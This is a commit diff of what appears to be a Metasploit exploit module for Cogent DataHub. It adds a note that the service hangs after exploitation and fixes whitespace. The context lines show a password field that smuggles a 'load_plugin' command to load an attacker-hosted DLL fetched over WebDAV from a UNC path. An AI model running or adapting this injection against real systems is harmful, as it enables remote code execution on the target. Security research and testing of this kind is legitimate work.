@@ -22,7 +22,8 @@ def initialize
22
22
makes insecure use of the datahub_command function with user controlled
23
23
data, allowing execution of arbitrary datahub commands and scripts. This
24
24
module has been tested successfully with Cogent DataHub 7.3.4 on
25
- Windows 7 SP1.
25
+ Windows 7 SP1. Please also note that after exploitation, the remote service
26
+ will most likely hang and restart manually.
26
27
} ,
27
28
'Author' => [
28
29
'John Leitch' , # Vulnerability discovery
@@ -50,7 +51,7 @@ module has been tested successfully with Cogent DataHub 7.3.4 on
50
51
register_options (
51
52
[
52
53
OptString . new ( 'URIPATH' , [ true , 'The URI to use (do not change)' , '/' ] ) ,
53
- OptPort . new ( 'SRVPORT' , [ true , 'The daemon port to listen on ' +
54
+ OptPort . new ( 'SRVPORT' , [ true , 'The daemon port to listen on ' +
54
55
'(do not change)' , 80 ] ) ,
55
56
OptInt . new ( 'WEBDAV_DELAY' , [ true , 'Time that the HTTP Server will ' +
56
57
'wait for the payload request' , 20 ] ) ,
@@ -374,7 +375,7 @@ def send_injection(dll)
374
375
'vars_post' =>
375
376
{
376
377
'username' => rand_text_alpha ( 3 + rand ( 3 ) ) ,
377
- 'password' => "#{ rand_text_alpha ( 3 + rand ( 3 ) ) } \" )" +
378
+ 'password' => "#{ rand_text_alpha ( 3 + rand ( 3 ) ) } \" )" +
378
379
"(load_plugin \" #{ dll } \" 1)(\" "
379
380
}
380
381
} , 1 )
@@ -414,7 +415,7 @@ def exploit
414
415
@exploit_unc = "\\ \\ #{ @myhost } \\ "
415
416
416
417
if datastore [ 'SRVPORT' ] . to_i != 80 || datastore [ 'URIPATH' ] != '/'
417
- fail_with ( Failure ::BadConfig , 'Using WebDAV requires SRVPORT=80 and ' +
418
+ fail_with ( Failure ::BadConfig , 'Using WebDAV requires SRVPORT=80 and ' +
418
419
'URIPATH=/' )
419
420
end
420
421
@@ -439,7 +440,7 @@ def exploit
439
440
print_error ( "#{ peer } - Unexpected answer" )
440
441
end
441
442
else
442
- fail_with ( Failure ::BadConfig , 'Bad UNCPATH format, should be ' +
443
+ fail_with ( Failure ::BadConfig , 'Bad UNCPATH format, should be ' +
443
444
'\\\\host\\shared_folder\\base_name.dll' )
444
445
end
445
446
end
0 commit comments